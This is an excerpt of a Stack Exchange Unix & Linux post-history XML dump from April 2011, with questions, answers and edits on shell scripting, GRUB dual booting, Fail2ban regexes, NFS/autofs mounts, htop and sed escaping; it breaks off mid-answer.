  <row Id="27717" PostHistoryTypeId="5" PostId="11421" RevisionGUID="2764c6c0-5375-4247-819a-cb147a4ebad6" CreationDate="2011-04-16T04:03:12.543" UserId="1078" Comment="Add some safety to the cprange function; added 5 characters in body" Text="A generic approach is to define a shell function that prints a range of filenames. A simple version of this function will list all the files between two filenames inclusive in the current directory:&#xD;&#xA;&#xD;&#xA;    range()&#xD;&#xA;    {&#xD;&#xA;        ls | sed -n &quot;/^$1\$/,/^$2\$/p&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This uses a sed range saying to print out anything between the two given strings (`$1` and `$2`).&#xD;&#xA;&#xD;&#xA;You can then use this function in your `cp(1)` command:&#xD;&#xA;&#xD;&#xA;    cp $(range asps.cfg acpi.txt) /destination/path&#xD;&#xA;&#xD;&#xA;This will fail if you have filenames with spaces in them. For that, you need to get a little more complicated:&#xD;&#xA;&#xD;&#xA;    range asps.cfg acpi.txt | xargs -d '\n' -I {} cp {} /destination/path&#xD;&#xA;&#xD;&#xA;That will fail if your filenames have newlines (\n) in them. That is very unlikely, so fixing that is left as an exercise for the reader.&#xD;&#xA;&#xD;&#xA;You could roll that together into another shell function:&#xD;&#xA;&#xD;&#xA;    cprange()&#xD;&#xA;    {&#xD;&#xA;        [ $# -eq 3 ] || { echo &quot;usage: cprange start end dir&quot; &gt;&amp;2; return 1;}&#xD;&#xA;        range &quot;$1&quot; &quot;$2&quot; | xargs -d '\n' -I {} cp {} &quot;$3&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and use it like:&#xD;&#xA;&#xD;&#xA;    cprange filenameX filenameY destination&#xD;&#xA;&#xD;&#xA;Remember, range only works for filenames in the current directory. You can expand on that in a number of ways (additional directory parameter to `range`, extract a path from arguments to `range` using `dirname`, etc) but I'll leave that up to you based on your requirements. Please ask if you want more details here." />
  <row Id="27718" PostHistoryTypeId="2" PostId="11423" RevisionGUID="4c2b26fc-85b0-4d37-ac12-992844138cfd" CreationDate="2011-04-16T04:42:56.570" UserId="5387" Text="I currently dual boot Windows 7 and Fedora 14, using GRUB, with Windows 7 as my default. I know that from Fedora, I can set GRUB to boot into Fedora, overriding the default, on the next reboot. Is there a way to do this from Windows? That is, can I change the GRUB configuration permanently or semi-permanently from Windows so I don't have to be in front of my computer to boot into Fedora?" />
  <row Id="27719" PostHistoryTypeId="1" PostId="11423" RevisionGUID="4c2b26fc-85b0-4d37-ac12-992844138cfd" CreationDate="2011-04-16T04:42:56.570" UserId="5387" Text="How to boot into Linux from Windows using GRUB" />
  <row Id="27720" PostHistoryTypeId="3" PostId="11423" RevisionGUID="4c2b26fc-85b0-4d37-ac12-992844138cfd" CreationDate="2011-04-16T04:42:56.570" UserId="5387" Text="égrubàédualöbootà" />
  <row Id="27721" PostHistoryTypeId="2" PostId="11424" RevisionGUID="557841f7-d7c5-4500-846a-959478a3fd26" CreationDate="2011-04-16T05:17:34.240" UserId="6241" Text="I'm struggling to create a regex for Apache logs. It's for `ignoreregex` on `Fail2ban`. &#xD;&#xA;&#xD;&#xA;I'd really like to be able to put something like `/house` to catch all files in that directory or `/house/jonross.html` specifically to match just that HTML file. The log format I'm using is below.&#xD;&#xA;&#xD;&#xA;The field is the one where `/city/index.html` is in this example.&#xD;&#xA;&#xD;&#xA;`66-121-89-14.domain.com - - [14/Apr/2011:14:47:05 +0100] &quot;GET /city/index.html HTTP/1.1&quot; 200 2577 &quot;http://www.domain.com/referrer/&quot; &quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16&quot;`&#xD;&#xA;&#xD;&#xA;Can a regex whizz please help ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27722" PostHistoryTypeId="1" PostId="11424" RevisionGUID="557841f7-d7c5-4500-846a-959478a3fd26" CreationDate="2011-04-16T05:17:34.240" UserId="6241" Text="Easy Regex on Apache Logs" />
  <row Id="27723" PostHistoryTypeId="3" PostId="11424" RevisionGUID="557841f7-d7c5-4500-846a-959478a3fd26" CreationDate="2011-04-16T05:17:34.240" UserId="6241" Text="élinuxàéapacheàéregexà" />
  <row Id="27724" PostHistoryTypeId="2" PostId="11425" RevisionGUID="6fea487d-9635-49f7-8e0e-3e81f4da74cf" CreationDate="2011-04-16T05:39:13.450" UserId="2343" Text="Aside from the variable expansion mentioned in the question's heading, I also experience another alarming issue when reading inline data to `&lt;&lt;EOL`...  When the data contains a backtick **\`**, it causes an error.  &#xD;&#xA;&#xD;&#xA;Both are substitution issues, but what and where is the relevant option? ...(and why is the inline read behaving differently?)&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;Here is the script  &#xD;&#xA; &#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo '==$BASH' | \&#xD;&#xA;    while IFS= read -r line ; do echo &quot;# output 1: $line&quot; ;done&#xD;&#xA;     &#xD;&#xA;    echo '==$BASH'&gt;junk&#xD;&#xA;    while IFS= read -r line ; do echo &quot;# output 2: $line&quot; ;done &lt;junk&#xD;&#xA;    &#xD;&#xA;    while IFS= read -r line ; do echo &quot;# output 3: $line&quot; ;done &lt;&lt;EOL&#xD;&#xA;    ==$BASH&#xD;&#xA;    EOL&#xD;&#xA;    &#xD;&#xA;    while IFS= read -r line ; do echo &quot;# output 4: $line&quot; ;done &lt;&lt;EOL&#xD;&#xA;    `my backtick test&#xD;&#xA;    EOL&#xD;&#xA;&#xD;&#xA;This is the output  &#xD;&#xA;&#xD;&#xA;    # output 1: ==$BASH&#xD;&#xA;    # output 2: ==$BASH&#xD;&#xA;    # output 3: ==/bin/bash&#xD;&#xA;    ...: bad substitution: no closing &quot;`&quot; in `my backtick test&#xD;&#xA;" />
  <row Id="27725" PostHistoryTypeId="1" PostId="11425" RevisionGUID="6fea487d-9635-49f7-8e0e-3e81f4da74cf" CreationDate="2011-04-16T05:39:13.450" UserId="2343" Text="Why is 'while.. read.. &lt;&lt;EOL' performing variable expansion, yet &lt;file and | don't?" />
  <row Id="27726" PostHistoryTypeId="3" PostId="11425" RevisionGUID="6fea487d-9635-49f7-8e0e-3e81f4da74cf" CreationDate="2011-04-16T05:39:13.450" UserId="2343" Text="éshellàébashàétextöprocessingàéshellöscriptà" />
  <row Id="27727" PostHistoryTypeId="2" PostId="11426" RevisionGUID="0cc66549-fa31-41d7-9d3c-a6159eae582d" CreationDate="2011-04-16T05:56:41.590" UserId="3519" Text="Shell expansion is one of the main benefits of 'here documents'. Good news is you can turn it off.&#xD;&#xA;&#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;    while IFS= read -r line ; do echo &quot;# output 3: $line&quot; ;done &lt;&lt;'EOL'&#xD;&#xA;    ==$BASH&#xD;&#xA;    EOL&#xD;&#xA;&#xD;&#xA;    while IFS= read -r line ; do echo &quot;# output 4: $line&quot; ;done &lt;&lt;'EOL'&#xD;&#xA;    `my backtick test&#xD;&#xA;    EOL&#xD;&#xA;&#xD;&#xA;For details see:&#xD;&#xA;&#xD;&#xA;    &gt; info bash&#xD;&#xA;&#xD;&#xA;&lt;...&gt;&#xD;&#xA;&#xD;&#xA;    3.6.6 Here Documents&#xD;&#xA;    --------------------&#xD;&#xA;    &#xD;&#xA;    This type of redirection instructs the shell to read input from the&#xD;&#xA;    current source until a line containing only WORD (with no trailing&#xD;&#xA;    blanks) is seen.  All of the lines read up to that point are then used&#xD;&#xA;    as the standard input for a command.&#xD;&#xA;    &#xD;&#xA;       The format of here-documents is:&#xD;&#xA;         &lt;&lt;[-]WORD&#xD;&#xA;                 HERE-DOCUMENT&#xD;&#xA;         DELIMITER&#xD;&#xA;    &#xD;&#xA;       No parameter expansion, command substitution, arithmetic expansion,&#xD;&#xA;    or filename expansion is performed on WORD.  If any characters in WORD&#xD;&#xA;    are quoted, the DELIMITER is the result of quote removal on WORD, and&#xD;&#xA;    the lines in the here-document are not expanded.  If WORD is unquoted,&#xD;&#xA;    all lines of the here-document are subjected to parameter expansion,&#xD;&#xA;    command substitution, and arithmetic expansion.  In the latter case,&#xD;&#xA;    the character sequence `\newline' is ignored, and `\' must be used to&#xD;&#xA;    quote the characters `\', `$', and ``'.&#xD;&#xA;    &#xD;&#xA;       If the redirection operator is `&lt;&lt;-', then all leading tab&#xD;&#xA;    characters are stripped from input lines and the line containing&#xD;&#xA;    DELIMITER.  This allows here-documents within shell scripts to be&#xD;&#xA;    indented in a natural fashion.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27728" PostHistoryTypeId="2" PostId="11427" RevisionGUID="68c0919d-341f-4df4-bfca-cc739e41854a" CreationDate="2011-04-16T05:58:58.780" UserId="2510" Text="On my Fedora 14 system, some strange bind mounts have appeared in the list of mounts. They appear on every bootup. I can unmount them with `umount -l`, but I would like to find which package is mounting them (so that I can report a bug if necessary).&#xD;&#xA;&#xD;&#xA;How can I find out which service is causing these bind mounts to appear?" />
  <row Id="27729" PostHistoryTypeId="1" PostId="11427" RevisionGUID="68c0919d-341f-4df4-bfca-cc739e41854a" CreationDate="2011-04-16T05:58:58.780" UserId="2510" Text="How can I determine which service run during bootup is responsible for a certain behaviour?" />
  <row Id="27730" PostHistoryTypeId="3" PostId="11427" RevisionGUID="68c0919d-341f-4df4-bfca-cc739e41854a" CreationDate="2011-04-16T05:58:58.780" UserId="2510" Text="ébootàétroubleshootingàéservicesà" />
  <row Id="27731" PostHistoryTypeId="2" PostId="11428" RevisionGUID="15a6911f-ea8f-446d-9e4a-1ebcfe5f6df3" CreationDate="2011-04-16T06:03:51.257" UserId="2510" Text="Boot into single-user mode by pressing 'a' at the grub menu, and then adding &quot; `single`&quot; to the command line and pressing ENTER.&#xD;&#xA;&#xD;&#xA;Then go through and individually start the services on your usual runlevel (which defaults to runlevel 5). You can do this by executing in turn, with the argument `start`, each file starting with &quot;S&quot; in `/etc/rc5.d` (they should all be symbolic links), or `/etc/rc3.d` if runlevel 3 is your default runlevel, etc. After each one has started, type `mount|grep bind` to see which bind mounts, if any, exist at that point in time." />
  <row Id="27732" PostHistoryTypeId="25" PostId="11423" RevisionGUID="4beb934b-93bd-4ba5-88ac-1a32e360793f" CreationDate="2011-04-16T06:09:09.723" Comment="http://twitter.com/#!/StackUnix/status/59136226745257984" />
  <row Id="27733" PostHistoryTypeId="2" PostId="11429" RevisionGUID="17535ab7-42ba-479c-b040-021a041347c3" CreationDate="2011-04-16T06:22:13.017" UserId="2510" Text="I don't use OpenSUSE, but on Fedora, network connections seem to be started on login by default, not on bootup.&#xD;&#xA;&#xD;&#xA;So I would guess that is the reason here too. NFS mount problems are usually caused by either lack of DNS, or no network. I would think the latter would be the case here (why would NetworkManager bring up the network but not configure DNS until later?)&#xD;&#xA;&#xD;&#xA;There are some instructions [here][1] for another distro for automatically connecting at bootup time - I think they are complicated because they involve a wireless connection, so for a wired connection you should be able to skip some of those steps (and maybe just try the final step).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/NetworkManager#Automatically_connect_on_boot" />
  <row Id="27734" PostHistoryTypeId="2" PostId="11430" RevisionGUID="958bd59b-45ad-4310-b61d-78cc5d419441" CreationDate="2011-04-16T07:14:39.027" UserId="1078" Text="NFS seems to be a pain no matter what OS distribution you use. I've similar troubles with mounting on boot hanging for various periods of time (and that's without NetworkManager).&#xD;&#xA;&#xD;&#xA;Now I automount my filesystems with autofs, just with simple direct mounts. I use autofs5 (the latest experimental branch, but I have no problems), but there's also autofs4.&#xD;&#xA;&#xD;&#xA;Since switching to autofs (and removing the filesystems from /etc/fstab), NFS has been trouble-free." />
  <row Id="27735" PostHistoryTypeId="5" PostId="11430" RevisionGUID="1ba485fb-b814-4687-a6f4-f1e1b776a93f" CreationDate="2011-04-16T07:19:52.687" UserId="1078" Comment="added 473 characters in body; added 10 characters in body" Text="NFS seems to be a pain no matter what OS distribution you use. I've similar troubles on Debian with mounting on boot hanging for various periods of time (and that's without NetworkManager).&#xD;&#xA;&#xD;&#xA;Now I automount my filesystems with autofs, just with simple direct mounts. I use autofs5 (the latest experimental branch, but I have no problems), but there's also autofs4.&#xD;&#xA;&#xD;&#xA;Since switching to autofs (and removing the filesystems from `/etc/fstab`), NFS has been trouble-free.&#xD;&#xA;&#xD;&#xA;To get you going quickly with autofs, I put the following line in `/etc/auto.master`:&#xD;&#xA;&#xD;&#xA;    /-      /etc/auto.direct        fstype=nfs4,tcp,noatime,rsize=32768,wsize=32768,intr,soft,sec=sys&#xD;&#xA;&#xD;&#xA;and the following in `/etc/auto.direct`:&#xD;&#xA;&#xD;&#xA;    /av             av:/av&#xD;&#xA;    /data           data:/data&#xD;&#xA;    /home           home:/home&#xD;&#xA;    /src            data:/src&#xD;&#xA;    /var/mail       mail:/mail&#xD;&#xA;&#xD;&#xA;I'm using NFSv4, but v3 is similar (just longer paths for the mounts).&#xD;&#xA;" />
  <row Id="27736" PostHistoryTypeId="2" PostId="11431" RevisionGUID="e35f9034-f830-44f0-a079-1d5b479256ef" CreationDate="2011-04-16T07:30:55.067" UserId="73" Text="The hard part is editing your Linux filesystem from Windows. [FS Driver](http://www.fs-driver.org/) supports writing ext2, but I don't know of any good tools for ext3 or 4 (and these [SU](http://superuser.com/questions/85579/ext3-on-windows-7) and [SF](http://serverfault.com/questions/3038/what-windows-ext3-driver-should-i-use) questions aren't encouraging), let alone any other filesystems you may have used on your boot partition&#xD;&#xA;&#xD;&#xA;But if you do manage to get write support for your boot partition from Windows, actually changing the saved default is easy. First you need to do some prep work in `/boot/grub.conf`. Change `default` to `saved`, and add `savedefault 0` (where 0 is Fedora's index in the GRUB configuration) to the Windows block so booting into Windows will reset the saved default back to Fedora&#xD;&#xA;&#xD;&#xA;Then from Windows you can edit `/boot/grub/default`. Delete the line that's there (it'll be `default` or `0` most likely), and change it to `1` or whatever the index of your Windows install is. When you restart, GRUB will read that file (since your default is `saved`) and boot into Windows, and the `savedefault` line will change that file back to `0` for future boots" />
  <row Id="27737" PostHistoryTypeId="2" PostId="11432" RevisionGUID="3370f864-6845-447e-b08c-560b34ec9051" CreationDate="2011-04-16T07:35:11.020" UserId="6241" Text="After several hours of trial and hour, in case it helps someone else, this will ignore any directory after the slash after GET with these words:&#xD;&#xA;&#xD;&#xA;`ignoreregex = .*\&quot;GET \/(city|house|anything).*`" />
  <row Id="27738" PostHistoryTypeId="2" PostId="11433" RevisionGUID="090a8cda-acda-48fe-9c85-cc0818adde38" CreationDate="2011-04-16T08:10:05.577" UserId="6603" Text="I've got a minimal no-gui installation of OpenSuse 11.4 (x64).  I'm trying to build CutyCapt which requires libqt4-devel.  When I try to install it with the Yast, I get the following:&#xD;&#xA;&#xD;&#xA;    libqt4-develop-4.7.1-7.1.x86_64 requires Mesa-devel, but this requirement cannot be provided&#xD;&#xA;&#xD;&#xA;Possible solutions:&#xD;&#xA;&#xD;&#xA;    deinstallation of patterns-openSUSE-minimal_base-11.4-6.9.1.x86-64&#xD;&#xA;    + others&#xD;&#xA;&#xD;&#xA;My questions are:&#xD;&#xA;&#xD;&#xA;1. What does all this mean?  What is Mesa-devel and what is patterns-minimal_base?&#xD;&#xA;2. Will something break if I go ahead and de-install the minimal base pattern?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27739" PostHistoryTypeId="1" PostId="11433" RevisionGUID="090a8cda-acda-48fe-9c85-cc0818adde38" CreationDate="2011-04-16T08:10:05.577" UserId="6603" Text="OpenSUSE - installing libqt4-devel" />
  <row Id="27740" PostHistoryTypeId="3" PostId="11433" RevisionGUID="090a8cda-acda-48fe-9c85-cc0818adde38" CreationDate="2011-04-16T08:10:05.577" UserId="6603" Text="éopensuseà" />
  <row Id="27741" PostHistoryTypeId="2" PostId="11434" RevisionGUID="a62a5dd7-2a71-427e-9e10-6f37fdc64594" CreationDate="2011-04-16T08:12:57.273" UserId="6640" Text="Hi,&#xD;&#xA;&#xD;&#xA;I've heard that Android is based on linux (or unix?). That means, engineers at google modified linux code to run on android phones or tablets. I would like to become those engineers someday. Where should I start? Should I start looking at embedded linux?" />
  <row Id="27742" PostHistoryTypeId="1" PostId="11434" RevisionGUID="a62a5dd7-2a71-427e-9e10-6f37fdc64594" CreationDate="2011-04-16T08:12:57.273" UserId="6640" Text="How to start customizing linux?" />
  <row Id="27743" PostHistoryTypeId="3" PostId="11434" RevisionGUID="a62a5dd7-2a71-427e-9e10-6f37fdc64594" CreationDate="2011-04-16T08:12:57.273" UserId="6640" Text="élinuxàéembeddedàéandroidà" />
  <row Id="27744" PostHistoryTypeId="2" PostId="11435" RevisionGUID="421a5b40-fa69-4c09-b44a-3f85b2db0ffa" CreationDate="2011-04-16T08:16:42.843" UserId="1925" Text="Actually google did more writing an app platform / virtual machine system to run on top of linux than they did modifying linux. They basically just used it as a base to build off of, they hardly had to touch it.&#xD;&#xA;&#xD;&#xA;As for your question, just start doing things. Get yourself some linux distros, install them on your computers or in VM's, learn your way around them, then start poking at custom platforms like embeded once you already know the ropes. Find some devices to hack, code up some projects of your own, then find some open source projects to lend a hand with. Along the way you'll figure out how to answer your own question." />
  <row Id="27745" PostHistoryTypeId="5" PostId="11417" RevisionGUID="5d2fe6dd-ad59-4ac0-96bb-11f4012e4012" CreationDate="2011-04-16T08:26:51.610" UserId="1925" Comment="Parse error, English at line *" Text="I've installed Ubuntu Server 10.10, and when I press up in a terminal nothing happens. Using Ubuntu Desktop it gave me the previous command that I ran.&#xD;&#xA;&#xD;&#xA;How can I make it do this in Ubuntu Server as well?" />
  <row Id="27746" PostHistoryTypeId="24" PostId="11417" RevisionGUID="5d2fe6dd-ad59-4ac0-96bb-11f4012e4012" CreationDate="2011-04-16T08:26:51.610" Comment="Proposed by 1925 approved by 29 edit id of 271" />
  <row Id="27748" PostHistoryTypeId="2" PostId="11437" RevisionGUID="e11b1eb0-bf7f-4c53-a79c-48a05ac9721c" CreationDate="2011-04-16T09:08:00.840" UserId="3493" Text="I have a 8 core machine, and am curious to know if I can find out how many cores processes that I see in htop are using. Is there a solution?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="27749" PostHistoryTypeId="1" PostId="11437" RevisionGUID="e11b1eb0-bf7f-4c53-a79c-48a05ac9721c" CreationDate="2011-04-16T09:08:00.840" UserId="3493" Text="How to find how many cores a process is using?" />
  <row Id="27750" PostHistoryTypeId="3" PostId="11437" RevisionGUID="e11b1eb0-bf7f-4c53-a79c-48a05ac9721c" CreationDate="2011-04-16T09:08:00.840" UserId="3493" Text="éprocessömanagementà" />
  <row Id="27751" PostHistoryTypeId="25" PostId="11425" RevisionGUID="041d2a6e-7e8c-4470-b116-0f2882996afc" CreationDate="2011-04-16T09:09:09.920" Comment="http://twitter.com/#!/StackUnix/status/59181526394470402" />
  <row Id="27752" PostHistoryTypeId="2" PostId="11438" RevisionGUID="b1841fae-ecda-46bc-85a3-42b2c0c7d5be" CreationDate="2011-04-16T09:13:18.933" UserId="1925" Text="I think most of the processes you will see in `htop` or `ps` are going to be individual threads or process that each run on one core, but you might notice many apps have several processes going to take advantage of the extra cores." />
  <row Id="27754" PostHistoryTypeId="2" PostId="11440" RevisionGUID="193f911b-1e24-4c55-bd0c-4125cf6a45cd" CreationDate="2011-04-16T09:59:21.303" UserId="2879" Text="Greetings all,&#xD;&#xA;&#xD;&#xA;I have a file A that contains pairs of strings, one per line:&#xD;&#xA;&#xD;&#xA;    \old1 \new1&#xD;&#xA;    \old2 \new2&#xD;&#xA;    .....&#xD;&#xA;&#xD;&#xA;I would like to iterate over file A, and for each line perform the replacement (e.g. &quot;\old1 -&gt; \new1&quot;) globally in some file B.  I had no trouble getting it to work without backslashes using sed or perl -pi -e, but can't figure out how to make either sed or perl treat the backslashes verbatim in the replacement strings.  I'd appreciate any insight!" />
  <row Id="27755" PostHistoryTypeId="1" PostId="11440" RevisionGUID="193f911b-1e24-4c55-bd0c-4125cf6a45cd" CreationDate="2011-04-16T09:59:21.303" UserId="2879" Text="Replacing text from a list of replacements. Added complication: backslashes." />
  <row Id="27756" PostHistoryTypeId="3" PostId="11440" RevisionGUID="193f911b-1e24-4c55-bd0c-4125cf6a45cd" CreationDate="2011-04-16T09:59:21.303" UserId="2879" Text="ébashàétextöprocessingàéscriptingàéperlà" />
  <row Id="27757" PostHistoryTypeId="2" PostId="11441" RevisionGUID="ce8a24de-3cf0-40cb-8ef0-68037ef20a13" CreationDate="2011-04-16T10:13:00.823" UserId="1925" Text="You might need to pre-process your list of substitutions to escape anything like the slashes that will have special meanings when put in a regex. First escape them, then use them to iterate over.&#xD;&#xA;&#xD;&#xA;Depending on what function you are using to do the replace, sometimes there are flags you can add to treat strings literally. If you show off your partial solution maybe we can suggest just the right way to finish it." />
  <row Id="27758" PostHistoryTypeId="2" PostId="11442" RevisionGUID="916b5f7d-fa17-4059-9e9a-a463d75e38f6" CreationDate="2011-04-16T10:17:42.897" UserId="1925" Text="Does the up arrow key work in other contexts? It sounds like you might have the keyboard mapped wrong, bash history should be pretty easy." />
  <row Id="27759" PostHistoryTypeId="5" PostId="11440" RevisionGUID="5a29d27d-1847-45b6-bd1e-11ffe001eeef" CreationDate="2011-04-16T10:58:06.083" UserId="1925" Comment="Removed extraneous salutations and sig" Text="I have a file A that contains pairs of strings, one per line:&#xD;&#xA;&#xD;&#xA;    \old1 \new1&#xD;&#xA;    \old2 \new2&#xD;&#xA;    .....&#xD;&#xA;&#xD;&#xA;I would like to iterate over file A, and for each line perform the replacement (e.g. &quot;\old1 -&gt; \new1&quot;) globally in some file B.  I had no trouble getting it to work without backslashes using sed or perl -pi -e, but can't figure out how to make either sed or perl treat the backslashes verbatim in the replacement strings. " />
  <row Id="27760" PostHistoryTypeId="24" PostId="11440" RevisionGUID="5a29d27d-1847-45b6-bd1e-11ffe001eeef" CreationDate="2011-04-16T10:58:06.083" Comment="Proposed by 1925 approved by -1 edit id of 274" />
  <row Id="27761" PostHistoryTypeId="5" PostId="11440" RevisionGUID="4957f3ac-bcf9-496e-ab57-8f34249d0b44" CreationDate="2011-04-16T10:58:07.063" UserId="2879" Comment="added code example" Text="I have a file A that contains pairs of strings, one per line:&#xD;&#xA;&#xD;&#xA;    \old1 \new1&#xD;&#xA;    \old2 \new2&#xD;&#xA;    .....&#xD;&#xA;&#xD;&#xA;I would like to iterate over file A, and for each line perform the replacement (e.g. &quot;\old1 -&gt; \new1&quot;) globally in some file B.  I had no trouble getting it to work without backslashes using sed or perl -pi -e using something like the following:&#xD;&#xA;&#xD;&#xA;    while read -r line&#xD;&#xA;    do&#xD;&#xA;     set -- $line&#xD;&#xA;     sed -i -e s/$1/$2/g target&#xD;&#xA;    done &lt; replacements&#xD;&#xA;&#xD;&#xA;However, I can't figure out how to make either sed or perl treat the backslashes verbatim in the replacement strings. Is there a clean solution for this?" />
  <row Id="27762" PostHistoryTypeId="2" PostId="11443" RevisionGUID="d9fedc71-c064-4d92-bd3c-2246619c7287" CreationDate="2011-04-16T11:05:36.783" UserId="5535" Text="In htop, press `F2` to enter the setup, then from the `Columns-&gt;Available Columns` menu select `PROCESSOR` to add a processor column." />
  <row Id="27763" PostHistoryTypeId="2" PostId="11444" RevisionGUID="d623dd92-64a2-47ed-a513-22e026a7f36d" CreationDate="2011-04-16T12:03:35.003" UserId="5666" Text="This is an attempt to escape the backslash using parameter expansion with pattern substitution.&#xD;&#xA;&#xD;&#xA;    $ set -- \\foo \\bar&#xD;&#xA;    $ echo $1&#xD;&#xA;    \foo&#xD;&#xA;    $ echo ${1/\\/\\\\}&#xD;&#xA;    \\foo&#xD;&#xA;    $ echo &quot;This is \foo to me&quot;&#xD;&#xA;    This is \foo to me&#xD;&#xA;    $ echo &quot;This is \foo to me&quot; | sed s/${1/\\/\\\\}/${2/\\/\\\\}/&#xD;&#xA;    This is \bar to me&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;" />
  <row Id="27764" PostHistoryTypeId="25" PostId="11440" RevisionGUID="ee6c11ba-1d1d-4493-b03f-498737c3d24a" CreationDate="2011-04-16T12:09:09.937" Comment="http://twitter.com/#!/StackUnix/status/59226821979422720" />
  <row Id="27765" PostHistoryTypeId="5" PostId="11417" RevisionGUID="69f19fa9-aae4-4c2e-bf36-d04e34c89698" CreationDate="2011-04-16T12:09:42.007" UserId="1925" Comment="Formatted for clarity." Text="I've installed Ubuntu Server 10.10, and when I press &lt;kbd&gt;up&lt;/kbd&gt; in a terminal nothing happens. Using Ubuntu Desktop it gave me the previous command that I ran.&#xD;&#xA;&#xD;&#xA;How can I make it do this in Ubuntu Server as well?" />
  <row Id="27766" PostHistoryTypeId="4" PostId="11417" RevisionGUID="69f19fa9-aae4-4c2e-bf36-d04e34c89698" CreationDate="2011-04-16T12:09:42.007" UserId="1925" Comment="Formatted for clarity." Text="Pressing up in a tty on Ubuntu Server" />
  <row Id="27767" PostHistoryTypeId="24" PostId="11417" RevisionGUID="69f19fa9-aae4-4c2e-bf36-d04e34c89698" CreationDate="2011-04-16T12:09:42.007" Comment="Proposed by 1925 approved by -1 edit id of 273" />
  <row Id="27768" PostHistoryTypeId="4" PostId="11417" RevisionGUID="b777c0aa-1cf0-4707-abb7-02717928d494" CreationDate="2011-04-16T12:09:42.477" UserId="885" Comment="edited tags; edited title" Text="Pressing `up` to get the previous command in a tty on Ubuntu Server" />
  <row Id="27769" PostHistoryTypeId="6" PostId="11417" RevisionGUID="b777c0aa-1cf0-4707-abb7-02717928d494" CreationDate="2011-04-16T12:09:42.477" UserId="885" Comment="edited tags; edited title" Text="éubuntuàécommandölineàécommandöhistoryà" />
  <row Id="27770" PostHistoryTypeId="5" PostId="11391" RevisionGUID="39863625-5a48-427e-b551-56e4ade341e0" CreationDate="2011-04-16T12:19:10.073" UserId="5589" Comment="indirect argument" Text="Why don't you just use $1, $2 .. $9, ${10}, ${11}.. and so on? It's even more [DRY](https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself)-er than what you're attempting to do :)&#xD;&#xA;&#xD;&#xA;More on the relation between $*number* and $@:&#xD;&#xA;&#xD;&#xA;$@ can be considered as shorthand for &quot;all elements of an array containing all arguments&quot;&#xD;&#xA;&#xD;&#xA;So, $@ is a sort-of shorthand of ${args[@]} (args here is a 'virtual' array containing all arguments -- not a real variable, mind you)&#xD;&#xA;&#xD;&#xA;$1 is ${args[1]}, $2 is ${args[2]}, and so on.&#xD;&#xA;&#xD;&#xA;When you've hit [9], use a brace: ${10} is ${args[10]}, ${11} is ${args[11]}, and so on.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Indirectly use a command line argument&#xD;&#xA;&#xD;&#xA;    argnum=3  # You want to get the 3rd arg&#xD;&#xA;    do-something ${!argnum}  # Do something with the 3rd arg" />
  <row Id="27771" PostHistoryTypeId="5" PostId="11391" RevisionGUID="bc281af5-abc0-4d97-8ee4-fc0ddb51a062" CreationDate="2011-04-16T12:24:48.477" UserId="5589" Comment="example" Text="Why don't you just use $1, $2 .. $9, ${10}, ${11}.. and so on? It's even more [DRY](https://secure.wikimedia.org/wikipedia/en/wiki/Don%27t_repeat_yourself)-er than what you're attempting to do :)&#xD;&#xA;&#xD;&#xA;More on the relation between $*number* and $@:&#xD;&#xA;&#xD;&#xA;$@ can be considered as shorthand for &quot;all elements of an array containing all arguments&quot;&#xD;&#xA;&#xD;&#xA;So, $@ is a sort-of shorthand of ${args[@]} (args here is a 'virtual' array containing all arguments -- not a real variable, mind you)&#xD;&#xA;&#xD;&#xA;$1 is ${args[1]}, $2 is ${args[2]}, and so on.&#xD;&#xA;&#xD;&#xA;When you've hit [9], use a brace: ${10} is ${args[10]}, ${11} is ${args[11]}, and so on.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### Indirectly use a command line argument&#xD;&#xA;&#xD;&#xA;    argnum=3  # You want to get the 3rd arg&#xD;&#xA;    do-something ${!argnum}  # Do something with the 3rd arg&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    argc=$#&#xD;&#xA;    for (( argn=1; argn&lt;=argc; argn++)); do&#xD;&#xA;        if [[ ${!argn} == &quot;foo&quot; ]]; then&#xD;&#xA;            echo &quot;Argument $argn of $argc is 'foo'&quot;&#xD;&#xA;        fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="27772" PostHistoryTypeId="2" PostId="11445" RevisionGUID="7881e641-0ca1-4e5f-b9a4-869dba718815" CreationDate="2011-04-16T12:38:44.240" UserId="885" Text="You'll need to escape all characters that are special in regexps, not just backslashes but also `[.*^$` and the `s` delimiter (for sed). In Perl, use the `quotemeta` function.&#xD;&#xA;&#xD;&#xA;A further issue with your attempt is that when you run `set -- $line`, the shell performs its own expansion: it performs globbing in addition to word splitting, so if your line contains `a* b*` and there are files called `a1` and `a2` in the current directory then you'll be replacing `a1` with `a2`. You need to turn off globbing with `set -f` in this approach.&#xD;&#xA;&#xD;&#xA;Here's a solution that mangles the replacement list directly into a list of sed arguments. It assumes that there is no space character in the source and replacement texts, but anything other than a space and a newline should be treated correctly. The first replacement adds a `\` before the characters that need protecting, and the second replacement turns each line from `foo bar`  into `-e s/foo/bar/g`. Warning, untested.&#xD;&#xA;&#xD;&#xA;    set -f&#xD;&#xA;    sed_args=$(&lt;replacement sed -e 's~[/.*[\\^$]~\\&amp;~g' \&#xD;&#xA;                                -e 's~^\([^ ]*\)  *\([^ ]*\).*~-e s/\1/\2/g~')&#xD;&#xA;    sed -i $sed_args target&#xD;&#xA;&#xD;&#xA;In Perl, you'll have fewer issues with quoting if you just let Perl read the replacement file directly. Again, untested.&#xD;&#xA;&#xD;&#xA;    perl -i -pe 'BEGIN {&#xD;&#xA;       